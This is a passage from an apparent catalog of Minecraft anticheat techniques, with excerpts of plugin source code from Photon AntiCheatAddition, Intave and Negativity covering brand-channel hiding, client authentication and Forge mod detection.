packet.getChannelName();\n                                       Log.finer(() -> \"BrandHider got PLUGIN_MESSAGE in channel \" + channel + \" | equals: \" + this.channel.equals(channel));\n\n                                       if (this.channel.equals(channel)) {\n                                           // Replace all placeholders.\n                                           final String brand = Placeholders.replacePlaceholders(this.brand, event.getPlayer());\n                                           packet.setData(createBrandPayload(brand));\n                                           event.markForReEncode(true);\n                                       }\n                                   }).build()).build();\n    }\n}\n// NOTE (AI): The Play.Server branch (lines 111-122) is the S3F consumer; the Configuration.Server branch covers the 1.20.2+ config phase. The module also pushes an empty S3F brand on join (lines 49-54) and on the refresh timer.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/additions/BrandHider.java",
       "variations": "Photon's inbound twin is BrandChannelData, a ParsedPluginMessageListener that records the client brand into the user object; MessageChannel.MC_BRAND_CHANNEL is the shared channel constant."
      },
      {
       "name": "Sibyl brand authentication (intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Mark the server for the Intave companion client: emit an S3F brand payload carrying the Intave identifier so the Sibyl client can authenticate.",
       "how_it_works": "On join, and again on every restart broadcast and whenever a player is not yet authenticated, the service calls authentication.sendMessageToClient(player, 'MC|Brand', 'INTAVE', null), which writes the payload into an outbound custom payload packet (SibylAuthentication.java builds the ProtocolLib container around line 251). The companion client recognizes the mark and replies over its own channel.",
       "detects": "Nothing cheat-related. It is the anticheat's outbound identification channel; the brand mark also lets the anticheat tell its own clients from vanilla ones.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/connect/sibyl/SibylIntegrationService.java =====\npackage de.jpx3.intave.connect.sibyl;\n\nimport de.jpx3.intave.IntaveControl;\nimport de.jpx3.intave.IntavePlugin;\nimport de.jpx3.intave.annotate.HighOrderService;\nimport de.jpx3.intave.cleanup.GarbageCollector;\nimport de.jpx3.intave.connect.sibyl.auth.SibylAuthentication;\nimport de.jpx3.intave.connect.sibyl.data.SibylPacketReceiver;\nimport de.jpx3.intave.connect.sibyl.data.SibylPacketTransmitter;\nimport de.jpx3.intave.connect.sibyl.data.packet.*;\nimport de.jpx3.intave.executor.Synchronizer;\nimport de.jpx3.intave.module.linker.bukkit.BukkitEventSubscriber;\nimport de.jpx3.intave.module.linker.bukkit.BukkitEventSubscription;\nimport org.bukkit.Bukkit;\nimport org.bukkit.ChatColor;\nimport org.bukkit.entity.Entity;\nimport org.bukkit.entity.Player;\nimport org.bukkit.event.player.PlayerJoinEvent;\n\nimport javax.crypto.Cipher;\nimport javax.crypto.spec.SecretKeySpec;\nimport java.security.Key;\nimport java.security.KeyPair;\nimport java.security.KeyPairGenerator;\nimport java.security.NoSuchAlgorithmException;\nimport java.util.*;\nimport java.util.concurrent.ThreadLocalRandom;\nimport java.util.function.Consumer;\n\n@HighOrderService\npublic final class SibylIntegrationService implements BukkitEventSubscriber {\n  private final IntavePlugin plugin;\n  private final SibylAuthentication authentication;\n  private final SibylPacketTransmitter packetTransmitter;\n  private final SibylPacketReceiver packetReceiver;\n\n  public static final Set<UUID> ID_RECORDER = new HashSet<>();\n  private static final KeyPair globalKeyPair;\n  private static final byte[] verifyToken;\n  private static final Map<UUID, Key> KEYS = GarbageCollector.watch(new HashMap<>());\n\n  static {\n    KeyPair keyPair;\n    try {\n      KeyPairGenerator keypairgenerator = KeyPairGenerator.getInstance(\"RSA\");\n      keypairgenerator.initialize(1024);\n      keyPair = keypairgenerator.generateKeyPair();\n    } catch (NoSuchAlgorithmException ignored) {\n      keyPair = null;\n    }\n    globalKeyPair = keyPair;\n    verifyToken = new byte[16];\n    ThreadLocalRandom.current().nextBytes(verifyToken);\n  }\n\n  public SibylIntegrationService(IntavePlugin plugin) {\n    this.plugin = plugin;\n    List<Consumer<UUID>> subscribers = new ArrayList<>();\n    subscribers.add(this::afterAuthentication);\n    this.authentication = new SibylAuthentication(plugin, subscribers);\n    this.packetTransmitter = new SibylPacketTransmitter(authentication, this);\n    this.packetReceiver = new SibylPacketReceiver(plugin, this);\n    this.plugin.eventLinker().registerEventsIn(this);\n    broadcastRestart();\n  }\n\n  private void afterAuthentication(UUID id) {\n    Player player = Bukkit.getPlayer(id);\n    if (player == null) {\n      return;\n    }\n    if (encryptionAvailable()) {\n      packetTransmitter.transmitPacket(player, new SibylPacketOutBeginEncryption(globalKeyPair.getPublic(), verifyToken));\n    }\n  }\n\n  public void confirmEncryption(Player player, SibylPacketInConfirmEncryption packet) {\n    if (!encryptionAvailable()) {\n      return;\n    }\n    if (!Arrays.equals(decryptRSA(packet.encryptedVerifyToken()), verifyToken)) {\n      if (IntaveControl.SIBYL_DEBUG) {\n        System.out.println(\"Sibyl: Invalid verify token for \" + player.getName());\n      }\n      return;\n    }\n    byte[] keyBytes = decryptRSA(packet.encryptedSharedSecret());\n    if (keyBytes != null) {\n      try {\n        KEYS.put(player.getUniqueId(), new SecretKeySpec(keyBytes, \"AES\"));\n      } catch (Exception exception) {\n        exception.printStackTrace();\n        Synchronizer.synchronize(() -> {\n          player.kickPlayer(ChatColor.RED + \"Error authenticating\");\n        });\n      }\n    }\n  }\n\n  private static byte[] decryptRSA(byte[] data) {\n    try {\n      Cipher cipher = Cipher.getInstance(\"RSA\");\n      cipher.init(Cipher.DECRYPT_MODE, globalKeyPair.getPrivate());\n      return cipher.doFinal(data);\n    } catch (Exception exception) {\n      exception.printStackTrace();\n      return null;\n    }\n  }\n\n  public boolean encryptionActiveFor(Player player) {\n    return KEYS.containsKey(player.getUniqueId());\n  }\n\n  private void broadcastRestart() {\n    for (Player onlinePlayer : Bukkit.getOnlinePlayers()) {\n      authentication.sendMessageToClient(onlinePlayer, \"MC|Brand\", \"INTAVE\", null);\n    }\n  }\n\n  @BukkitEventSubscription\n  public void on(PlayerJoinEvent join) {\n    Synchronizer.synchronizeDelayed(() -> authenticatePlayer(join.getPlayer()), 20);\n    ID_RECORDER.add(join.getPlayer().getUniqueId());\n    if (ID_RECORDER.size() > 10000) {\n      ID_RECORDER.clear();\n    }\n  }\n\n  public void authenticatePlayer(Player player) {\n    if (!authentication.isAuthenticated(player)) {\n      authentication.sendMessageToClient(player, \"MC|Brand\", \"INTAVE\", null);\n    }\n  }\n\n  public static KeyPair globalKeyPair() {\n    return globalKeyPair;\n  }\n\n  public static byte[] verifyToken() {\n    return verifyToken;\n  }\n\n  public static boolean encryptionAvailable() {\n    return globalKeyPair != null && verifyToken != null;\n  }\n\n  public void publishAttackCancel(Player attacker, Entity attacked, boolean damage) {\n    SibylPacketOutAttackCancel packet = new SibylPacketOutAttackCancel();\n    packet.setAttacker(attacker.getUniqueId());\n    packet.setAttackedLocation(attacked.getLocation().toVector());\n    packet.setDamage(damage);\n    broadcastTrustedPacket(packet);\n  }\n\n  public void publishDebug(Player player, int id, String fullMessage, String shortMessage) {\n    SibylPacketOutDebug packet = new SibylPacketOutDebug();\n    packet.setDebugId(id);\n    packet.setFullMessage(fullMessage);\n    packet.setShortMessage(shortMessage);\n    sendTrustedPacket(player, packet);\n  }\n\n  public void broadcastTrustedPacket(SibylPacket packet) {\n    for (Player player : Bukkit.getOnlinePlayers()) {\n      if (authentication.isAuthenticated(player)) {\n        packetTransmitter.transmitPacket(player, packet);\n      }\n    }\n  }\n\n  public void sendTrustedPacket(Player player, SibylPacket packet) {\n    if (!Bukkit.isPrimaryThread()) {\n      Synchronizer.synchronize(() -> sendTrustedPacket(player, packet));\n      return;\n    }\n    if (authentication.isAuthenticated(player)) {\n      packetTransmitter.transmitPacket(player, packet);\n    }\n  }\n\n  public SibylPacketTransmitter packetTransmitter() {\n    return packetTransmitter;\n  }\n\n  public SibylAuthentication authentication() {\n    return authentication;\n  }\n\n  public boolean isAuthenticated(Player user) {\n    return authentication.isAuthenticated(user);\n  }\n\n  public Key keyOf(Player player) {\n    return KEYS.get(player.getUniqueId());\n  }\n}\n// NOTE (AI): The S3F emission is sendMessageToClient at lines 117 and 132; the ProtocolLib packet construction lives in SibylAuthentication.buildAuthenticationPacket.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/connect/sibyl/SibylIntegrationService.java",
       "variations": "The inbound side of the same system is PayloadInReader, a CUSTOM_PAYLOAD_IN reader that intave's SettingsTracker, CustomClientSupportService and LabymodClientListener consume for brand and LabyMod detection."
      },
      {
       "name": "FML mod probe (Negativity)",
       "found_in": [
        "Elikill58-Negativity"
       ],
       "purpose": "Detect Forge clients by sending FML handshake payloads and reading the mod-list reply.",
       "how_it_works": "initMods sends three FML|HS plugin messages (bytes {-2,0}, {0,2,0,0,0,0} and {2,0,0,0,0}) to the player when the outgoing FML channel is registered, the standard FML handshake sequence that makes Forge reply with its mod list. ChannelEvents handles the incoming FML data (the C17 side) and stores the result in the player's mod map, which feeds the mod-based cheat checks.",
       "detects": "The presence and version of Forge and its mods; server owners use the result to allow or block modded clients.",
       "detailed_code": "// ===== FILE: Elikill58-Negativity, src/com/elikill58/negativity/spigot/SpigotNegativityPlayer.java =====\npackage com.elikill58.negativity.spigot;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.lang.ref.WeakReference;\nimport java.nio.file.Files;\nimport java.nio.file.StandardOpenOption;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Locale;\nimport java.util.Map;\nimport java.util.UUID;\nimport java.util.logging.Level;\n\nimport org.bukkit.Bukkit;\nimport org.bukkit.Color;\nimport org.bukkit.Location;\nimport org.bukkit.Material;\nimport org.bukkit.OfflinePlayer;\nimport org.bukkit.Particle;\nimport org.bukkit.World;\nimport org.bukkit.entity.Damageable;\nimport org.bukkit.entity.Entity;\nimport org.bukkit.entity.EntityType;\nimport org.bukkit.entity.IronGolem;\nimport org.bukkit.entity.Player;\nimport org.bukkit.inventory.Inventory;\nimport org.bukkit.inventory.InventoryHolder;\nimport org.bukkit.plugin.Plugin;\nimport org.bukkit.potion.PotionEffect;\nimport org.bukkit.potion.PotionEffectType;\nimport org.bukkit.scheduler.BukkitTask;\n\nimport com.elikill58.negativity.spigot.inventories.AbstractInventory;\nimport com.elikill58.negativity.spigot.inventories.AbstractInventory.InventoryType;\nimport com.elikill58.negativity.spigot.inventories.holders.CheckMenuHolder;\nimport com.elikill58.negativity.spigot.listeners.PlayerCheatAlertEvent;\nimport com.elikill58.negativity.spigot.listeners.PlayerPacketsClearEvent;\nimport com.elikill58.negativity.spigot.protocols.InventoryMoveProtocol.InventoryMoveData;\nimport com.elikill58.negativity.spigot.support.FloodGateSupportManager;\nimport com.elikill58.negativity.spigot.support.GadgetMenuSupport;\nimport com.elikill58.negativity.spigot.support.ProtocolSupportSupport;\nimport com.elikill58.negativity.spigot.support.ViaVersionSupport;\nimport com.elikill58.negativity.spigot.utils.HandUtils;\nimport com.elikill58.negativity.spigot.utils.Utils;\nimport com.elikill58.negativity.universal.Cheat;\nimport com.elikill58.negativity.universal.Cheat.CheatCategory;\nimport com.elikill58.negativity.universal.Cheat.CheatHover;\nimport com.elikill58.negativity.universal.FlyingReason;\nimport com.elikill58.negativity.universal.NegativityAccount;\nimport com.elikill58.negativity.universal.NegativityAccountManager;\nimport com.elikill58.negativity.universal.NegativityPlayer;\nimport com.elikill58.negativity.universal.PacketType;\nimport com.elikill58.negativity.universal.ReportType;\nimport com.elikill58.negativity.universal.SimpleAccountManager;\nimport com.elikill58.negativity.universal.Version;\nimport com.elikill58.negativity.universal.adapter.Adapter;\nimport com.elikill58.negativity.universal.permissions.Perm;\nimport com.elikill58.negativity.universal.utils.UniversalUtils;\n\npublic class SpigotNegativityPlayer extends NegativityPlayer {\n\n\tprivate static final Map<UUID, SpigotNegativityPlayer> players = new HashMap<>();\n\n\tpublic static ArrayList<UUID> INJECTED = new ArrayList<>();\n\tpublic HashMap<PacketType, Integer> PACKETS = new HashMap<>();\n\tpublic HashMap<String, String> MODS = new HashMap<>();\n\tpublic HashMap<String, Double> contentDouble = new HashMap<>();\n\tpublic HashMap<String, Boolean> contentBoolean = new HashMap<>();\n\tpublic HashMap<String, Integer> contentInts = new HashMap<>();\n\tpublic HashMap<Cheat, List<PlayerCheatAlertEvent>> ALERT_NOT_SHOWED = new HashMap<>();\n\tpublic ArrayList<PotionEffect> POTION_EFFECTS = new ArrayList<>();\n\tpublic ArrayList<Integer> TIMER_COUNT = new ArrayList<>();\n\tpublic ArrayList<Double> flyMoveAmount = new ArrayList<>();\n\tprivate WeakReference<Player> p;\n\t// Packets\n\tpublic int ALL = 0, MAX_FLYING;\n\t// warns & other\n\tpublic int LAST_CLICK = 0, ACTUAL_CLICK = 0, SEC_ACTIVE = 0, SPIDER_SAME_DIST = 0, LAST_PING = -1;\n\t// setBack\n\tpublic int NO_FALL_DAMAGE = 0, BYPASS_SPEED = 0, LAST_SLOT_CLICK = -1, LAST_CHAT_MESSAGE_NB = 0, SPEED_NB = 0;\n\tpublic double lastYDiff = -3.141592654;\n\tpublic long TIME_INVINCIBILITY = 0, LAST_SHOT_BOW = 0, LAST_REGEN = 0, TIME_LAST_MESSAGE = 0, LAST_CLICK_INV = 0, LAST_BLOCK_PLACE = 0, TIME_REPORT = 0, LAST_BLOCK_BREAK = 0,\n\t\t\tTIME_INVINCIBILITY_SPEED = 0, lastAlertCommandRan = 0;\n\tpublic String LAST_CHAT_MESSAGE = \"\";\n\tpublic boolean IS_LAST_SEC_SNEAK = false, isFreeze = false, isInvisible = false, isUsingSlimeBlock = false, isJumpingWithBlock = false, isOnLadders = false, lastClickInv = false,\n\t\t\tuseAntiNoFallSystem = false, canPingSpoof = false;\n\tpublic boolean mustToBeSaved = false, wasFlying = false;\n\tprivate boolean isOnGround = true, isBedrockPlayer = false;\n\tpublic PacketType lastPacketType = null;\n\tpublic FlyingReason flyingReason = FlyingReason.REGEN;\n\tpublic Material eatMaterial = Material.AIR, lastClick = Material.AIR;\n\tpublic Location lastSpiderLoc;\n\tpublic InventoryMoveData inventoryMoveData = new InventoryMoveData();\n\tpublic List<String> proof = new ArrayList<>();\n\tpublic boolean isInFight = false;\n\tpublic BukkitTask fightTask = null;\n\tpublic String clientName;\n\tpublic int ping = 0, protocolVersion = 0;\n\tprivate Version playerVersion;\n\n\tpublic SpigotNegativityPlayer(Player p) {\n\t\tsuper(p.getUniqueId(), p.getName());\n\t\tthis.p = new WeakReference<>(p);\n\t\tthis.ping = Utils.getPing(p);\n\t\tinitMods(p);\n\t\tthis.clientName = \"Not loaded\";\n\t\tisBedrockPlayer = FloodGateSupportManager.isBedrockPlayer(p.getUniqueId());\n\t\tplayerVersion = SpigotNegativity.viaVersionSupport ? ViaVersionSupport.getPlayerVersion(p)\n\t\t\t\t: (SpigotNegativity.protocolSupportSupport ? ProtocolSupportSupport.getPlayerVersion(p) : Version.getVersion());\n\t}\n\n\tpublic SpigotNegativityPlayer(OfflinePlayer p) {\n\t\tsuper(p.getUniqueId(), p.getName());\n\t\tthis.p = new WeakReference<>(null);\n\t\tisBedrockPlayer = FloodGateSupportManager.isBedrockPlayer(p.getUniqueId());\n\t\tplayerVersion = Version.getVersion();\n\t}\n\n\tpublic void initMods(Player p) {\n\t\tPlugin pl = SpigotNegativity.getInstance();\n\t\tif (pl.isEnabled() && pl.getServer().getMessenger().isOutgoingChannelRegistered(pl, SpigotNegativity.CHANNEL_NAME_FML)) { // if\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// not,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// we\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// ignore\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// it\n\t\t\tp.sendPluginMessage(pl, SpigotNegativity.CHANNEL_NAME_FML, new byte[] { -2, 0 });\n\t\t\tp.sendPluginMessage(pl, SpigotNegativity.CHANNEL_NAME_FML, new byte[] { 0, 2, 0, 0, 0, 0 });\n\t\t\tp.sendPluginMessage(pl, SpigotNegativity.CHANNEL_NAME_FML, new byte[] { 2, 0, 0, 0, 0 });\n\t\t} else\n\t\t\tMODS.put(\"Not checked\", \"0.0\");\n\t}\n\n\t@Override\n\tpublic Player getPlayer() {\n\t\tPlayer cached = p != null ? p.get() : null;\n\t\tif (cached == null) {\n\t\t\tcached = Bukkit.getPlayer(getUUID());\n\t\t\tif (p != null)\n\t\t\t\tp.clear();\n\n\t\t\tp = new WeakReference<>(cached);\n\t\t}\n\t\treturn cached;\n\t}\n\n\tpublic String getIP() {\n\t\treturn getPlayer().getAddress().getAddress().getHostAddress();\n\t}\n\n\t@Override\n\tpublic Version getPlayerVersion() {\n\t\treturn playerVersion;\n\t}\n\n\tpublic int getProtocolVersion() {\n\t\treturn protocolVersion;\n\t}\n\n\tpublic void setProtocolVersion(int protocolVersion) {\n\t\tthis.protocolVersion = protocolVersion;\n\t\tthis.playerVersion = Version.getVersionByProtocolID(protocolVersion);\n\t}\n\n\tpublic boolean isBedrockPlayer() {\n\t\treturn isBedrockPlayer;\n\t}\n\n\tpublic boolean hasDetectionActive(Cheat c) {\n\t\tif (!c.isActive() || UniversalUtils.TPS_DROP)\n\t\t\treturn false;\n\t\tif (TIME_INVINCIBILITY > System.currentTimeMillis())\n\t\t\treturn false;\n\t\tif (isInFight && c.isBlockedInFight())\n\t\t\treturn false;\n\t\tif (SpigotNegativity.tps_alert_stop > Utils.getLastTPS()) // to make TPS go upper\n\t\t\treturn false;\n\t\tPlayer p = getPlayer();\n\t\tif (SpigotNegativity.gadgetMenuSupport && c.getCheatCategory().equals(CheatCategory.MOVEMENT) && GadgetMenuSupport.checkGadgetsMenuPreconditions(p))\n\t\t\treturn false;\n\t\tif (c.getCheatCategory().equals(CheatCategory.MOVEMENT) && isUsingRiptide())\n\t\t\treturn false;\n\t\tif (WorldRegionBypass.hasBypass(c, p.getLocation()))\n\t\t\treturn false;\n\t\tif (SpigotNegativity.hasBypass && (Perm.hasPerm(this, \"bypass.\" + c.getKey().toLowerCase(Locale.ROOT)) || Perm.hasPerm(this, \"bypass.all\")))\n\t\t\treturn false;\n\t\tif (isBedrockPlayer && FloodGateSupportManager.disabledCheat.contains(c.getKey()))\n\t\t\treturn false;\n\t\treturn ping < c.getMaxAlertPing();\n\t}\n\n\tpublic String getWhyDetectionNotActive(Cheat c) {\n\t\tif (!c.isActive())\n\t\t\treturn \"Cheat disabled\";\n\t\tif (UniversalUtils.TPS_DROP)\n\t\t\treturn \"TPS drop\";\n\t\tif (TIME_INVINCIBILITY > System.currentTimeMillis())\n\t\t\treturn \"Player invincibility\";\n\t\tif (isInFight && c.isBlockedInFight())\n\t\t\treturn \"In fight\";\n\t\tif (SpigotNegativity.tps_alert_stop > Utils.getLastTPS()) // to make TPS go upper\n\t\t\treturn \"Low TPS\";\n\t\tPlayer p = getPlayer();\n\t\tif (SpigotNegativity.gadgetMenuSupport && c.getCheatCategory().equals(CheatCategory.MOVEMENT) && GadgetMenuSupport.checkGadgetsMenuPreconditions(p))\n\t\t\treturn \"GadgetMenu bypass\";\n\t\tif (c.getCheatCategory().equals(CheatCategory.MOVEMENT) && isUsingRiptide())\n\t\t\treturn \"Riptide bypass\";\n\t\tif (WorldRegionBypass.hasBypass(c, p.getLocation()))\n\t\t\treturn \"World bypass\";\n\t\tif (SpigotNegativity.hasBypass && (Perm.hasPerm(this, \"bypass.\" + c.getKey().toLowerCase(Locale.ROOT)) || Perm.hasPerm(this, \"bypass.all\")))\n\t\t\treturn \"Permission bypass\";\n\t\tif (ping > c.getMaxAlertPing())\n\t\t\treturn \"Too high ping (\" + ping + \" > \" + c.getMaxAlertPing() + \")\";\n\t\tif (isBedrockPlayer && FloodGateSupportManager.disabledCheat.contains(c.getKey()))\n\t\t\treturn \"Bedrock player\";\n\t\treturn \"Unknown\";\n\t}\n\n\tpublic void updateCheckMenu() {\n\t\tfor (Player p : Utils.getOnlinePlayers()) {\n\t\t\tif (p.getOpenInventory() != null) {\n\t\t\t\tInventory topInv = p.getOpenInventory().getTopInventory();\n\t\t\t\tif (topInv == null || !topInv.getType().equals(org.bukkit.event.inventory.InventoryType.CHEST)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tInventoryHolder holder = topInv.getHolder();\n\t\t\t\tif (holder instanceof CheckMenuHolder) {\n\t\t\t\t\tAbstractInventory.getInventory(InventoryType.CHECK_MENU).ifPresent((inv) -> inv.actualizeInventory(p, ((CheckMenuHolder) holder).getCible()));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void setBetterClick(int click) {\n\t\tNegativityAccount account = getAccount();\n\t\taccount.setMostClicksPerSecond(click);\n\t\tAdapter.getAdapter().getAccountManager().save(account.getPlayerId());\n\t}\n\n\tpublic void addWarn(Cheat c, int reliability) {\n\t\taddWarn(c, reliability, 1);\n\t}\n\n\tpublic int addWarn(Cheat c, int reliability, int amount) {\n\t\tif (System.currentTimeMillis() < TIME_INVINCIBILITY || c.getReliabilityAlert() > reliability)\n\t\t\treturn -1;\n\t\tNegativityAccount account = getAccount();\n\t\tint old = account.getWarn(c);\n\t\taccount.setWarnCount(c, old + amount);\n\t\tmustToBeSaved = true;\n\t\treturn old;\n\t}\n\n\tpublic void setWarn(Cheat c, int cheats) {\n\t\tNegativityAccount account = getAccount();\n\t\taccount.setWarnCount(c, cheats);\n\t\tAdapter.getAdapter().getAccountManager().save(account.getPlayerId());\n\t}\n\n\tpublic void setLang(String newLang) {\n\t\tNegativityAccount account = getAccount();\n\t\taccount.setLang(newLang);\n\t\tNegativityAccountManager accountManager = Adapter.getAdapter().getAccountManager();\n\t\taccountManager.save(account.getPlayerId());\n\t\tif (accountManager instanceof SimpleAccountManager.Server) {\n\t\t\ttry {\n\t\t\t\t((SimpleAccountManager.Server) accountManager).sendAccountToProxy(account);\n\t\t\t} catch (IOException e) {\n\t\t\t\tSpigotNegativity.getInstance().getLogger().log(Level.SEVERE, \"Could not send account update to proxy\", e);\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void clearPackets() {\n\t\tPlayerPacketsClearEvent event = new PlayerPacketsClearEvent(getPlayer(), this);\n\t\tSpigotNegativity.callSyncEvent(event);\n\t\tint flying = PACKETS.getOrDefault(PacketType.Client.FLYING, 0);\n\t\tif (flying > MAX_FLYING)\n\t\t\tMAX_FLYING = flying;\n\t\tALL = 0;\n\t\tPACKETS.clear();\n\t}\n\n\tpublic boolean getAllowFlight() {\n\t\treturn wasFlying || getPlayer().getAllowFlight();\n\t}\n\n\t@Override\n\tpublic boolean isOp() {\n\t\treturn getPlayer().isOp();\n\t}\n\n\t@Override\n\tpublic void startAnalyze(Cheat c) {\n\t\tif (c.needPacket() && !INJECTED.contains(getPlayer().getUniqueId()))\n\t\t\tINJECTED.add(getPlayer().getUniqueId());\n\t}\n\n\t@Override\n\tpublic void startAllAnalyze() {\n\t\tINJECTED.add(getPlayer().getUniqueId());\n\t}\n\n\t@Override\n\tpublic void stopAnalyze(Cheat c) {\n\n\t}\n\n\t@Override\n\tpublic String getReason(Cheat c) {\n\t\tString n = \"\";\n\t\tfor (Cheat all : Cheat.values())\n\t\t\tif (getAllWarn(all) > 5 && all.isActive())\n\t\t\t\tn = n + (n.equals(\"\") ? \"\" : \", \") + all.getName();\n\t\tif (!n.contains(c.getName()))\n\t\t\tn = n + (n.equals(\"\") ? \"\" : \", \") + c.getName();\n\t\treturn n;\n\t}\n\n\tpublic List<PlayerCheatAlertEvent> getAlertForAllCheat() {\n\t\tfinal List<PlayerCheatAlertEvent> list = new ArrayList<>();\n\t\tALERT_NOT_SHOWED.forEach((c, listAlerts) -> {\n\t\t\tif (!listAlerts.isEmpty())\n\t\t\t\tlist.add(getAlertForCheat(c, listAlerts));\n\t\t});\n\t\treturn list;\n\t}\n\n\tpublic PlayerCheatAlertEvent getAlertForCheat(Cheat c, List<PlayerCheatAlertEvent> list) {\n\t\tint nb = 0, nbConsole = 0;\n\t\tHashMap<Integer, Integer> relia = new HashMap<>();\n\t\tHashMap<Integer, Integer> ping = new HashMap<>();\n\t\tReportType type = ReportType.NONE;\n\t\tboolean hasRelia = false;\n\t\tCheatHover hoverProof = null;\n\t\tfor (PlayerCheatAlertEvent e : list) {\n\t\t\tnb += e.getNbAlert();\n\n\t\t\trelia.put(e.getReliability(), relia.getOrDefault(e.getReliability(), 0) + 1);\n\n\t\t\tping.put(e.getPing(), ping.getOrDefault(e.getPing(), 0) + 1);\n\n\t\t\tif (type == ReportType.NONE || (type == ReportType.WARNING && e.getReportType() == ReportType.VIOLATION))\n\t\t\t\ttype = e.getReportType();\n\n\t\t\thasRelia = e.hasManyReliability() ? true : hasRelia;\n\n\t\t\tif (hoverProof == null)\n\t\t\t\thoverProof = e.getHover();\n\n\t\t\tnbConsole += e.getNbAlertConsole();\n\t\t\te.clearNbAlertConsole();\n\t\t}\n\t\t// Don't to 100% each times that there is more than 2 alerts, we made a summary,\n\t\t// and a the nb of alert to upgrade it\n\t\tint newRelia = UniversalUtils.parseInPorcent(UniversalUtils.sum(relia) + nb);\n\t\tint newPing = UniversalUtils.sum(ping);\n\t\t// we can ignore \"proof\" and \"stats_send\" because they have been already saved\n\t\t// and they are NOT showed to player\n\t\treturn new PlayerCheatAlertEvent(type, getPlayer(), c, newRelia, hasRelia, newPing, \"\", hoverProof, nb, nbConsole);\n\t}\n\n\tpublic void logProof(String msg) {\n\t\tproof.add(msg);\n\t}\n\n\tpublic void saveProof() {\n\t\tif (mustToBeSaved) {\n\t\t\tmustToBeSaved = false;\n\t\t\tAdapter.getAdapter().getAccountManager().save(getUUID());\n\t\t}\n\t\tif (proof.size() == 0)\n\t\t\treturn;\n\t\ttry {\n\t\t\tFile folder = new File(new File(SpigotNegativity.getInstance().getDataFolder(), \"user\"), \"proof\");\n\t\t\tif (!folder.exists())\n\t\t\t\tfolder.mkdirs();\n\t\t\tFile temp = new File(folder, getUUID() + \".txt\");\n\t\t\tif (!temp.exists())\n\t\t\t\ttemp.createNewFile();\n\t\t\tString msg = \"\";\n\t\t\tfor (String s : proof)\n\t\t\t\tmsg += s + \"\\n\";\n\t\t\tFiles.write(temp.toPath(), msg.getBytes(), StandardOpenOption.APPEND);\n\t\t\tproof.clear();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tprivate void destroy() {\n\t\tsaveProof();\n\t\tUUID playerId = getUUID();\n\t\tNegativityAccountManager accountManager = Adapter.getAdapter().getAccountManager();\n\t\taccountManager.save(playerId);\n\t\taccountManager.dispose(playerId);\n\t}\n\n\t@Override\n\tpublic boolean hasDefaultPermission(String s) {\n\t\treturn getPlayer().hasPermission(s);\n\t}\n\n\t@Override\n\tpublic double getLife() {\n\t\treturn ((Damageable) getPlayer()).getHealth();\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn getPlayer().getName();\n\t}\n\n\t@Override\n\tpublic String getGameMode() {\n\t\treturn getPlayer().getGameMode().name();\n\t}\n\n\t@Override\n\tpublic float getWalkSpeed() {\n\t\treturn getPlayer().getWalkSpeed();\n\t}\n\n\t@Override\n\tpublic int getLevel() {\n\t\treturn getPlayer().getLevel();\n\t}\n\n\t@Override\n\tpublic void kickPlayer(String reason, String time, String by, boolean def) {\n\t\tgetPlayer().kickPlayer(Messages.getMessage(getPlayer(), \"ban.kick_\" + (def ? \"def\" : \"time\"), \"%reason%\", reason, \"%time%\", String.valueOf(time), \"%by%\", by));\n\t}\n\n\t@SuppressWarnings(\"deprecation\")\n\tpublic boolean isOnGround() {\n\t\treturn isOnGround || getPlayer().isOnGround();\n\t}\n\n\tpublic void setOnGround(boolean b) {\n\t\tthis.isOnGround = b;\n\t}\n\n\t@Override\n\tpublic void banEffect() {\n\t\tint i = 2;\n\t\tLocation loc = getPlayer().getLocation();\n\t\tWorld w = getPlayer().getWorld();\n\t\tw.spawnEntity(loc, EntityType.FIREWORK);\n\t\tw.spawnEntity(loc, EntityType.FIREWORK);\n\t\tw.spawnEntity(loc, EntityType.FIREWORK);\n\t\tw.spawnEntity(loc, EntityType.FIREWORK);\n\t\tdouble baseY = loc.getY();\n\t\tfor (double y = baseY + 1.5; y > baseY; y = y - 0.05) {\n\t\t\tfor (int u = 0; u < 360; u += i) {\n\t\t\t\tLocation flameloc = loc.clone();\n\t\t\t\tflameloc.setY(y);\n\t\t\t\tflameloc.setZ(flameloc.getZ() + Math.cos(u) * i);\n\t\t\t\tflameloc.setX(flameloc.getX() + Math.sin(u) * i);\n\t\t\t\tif (Version.isNewerOrEquals(Version.getVersion(), Version.V1_13)) {\n\t\t\t\t\tParticle.DustOptions dustOptions = new Particle.DustOptions(Color.ORANGE, 1);\n\t\t\t\t\tw.spawnParticle(Particle.REDSTONE, flameloc, 1, 0, 0, 0, 0, dustOptions);\n\t\t\t\t} else {\n\t\t\t\t\tw.playEffect(flameloc.add(0, 1, 0), Utils.getEffect(\"COLOURED_DUST\"), 1);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void fight() {\n\t\tisInFight = true;\n\t\tif (fightTask != null)\n\t\t\tfightTask.cancel();\n\t\tfightTask = Bukkit.getScheduler().runTaskLater(SpigotNegativity.getInstance(), new Runnable() {\n\t\t\t@Override\n\t\t\tpublic void run() {\n\t\t\t\tunfight();\n\t\t\t}\n\t\t}, 80);\n\t}\n\n\tpublic void unfight() {\n\t\tisInFight = false;\n\t\tif (fightTask != null)\n\t\t\tfightTask.cancel();\n\t\tfightTask = null;\n\t}\n\n\tpublic boolean hasElytra() {\n\t\treturn 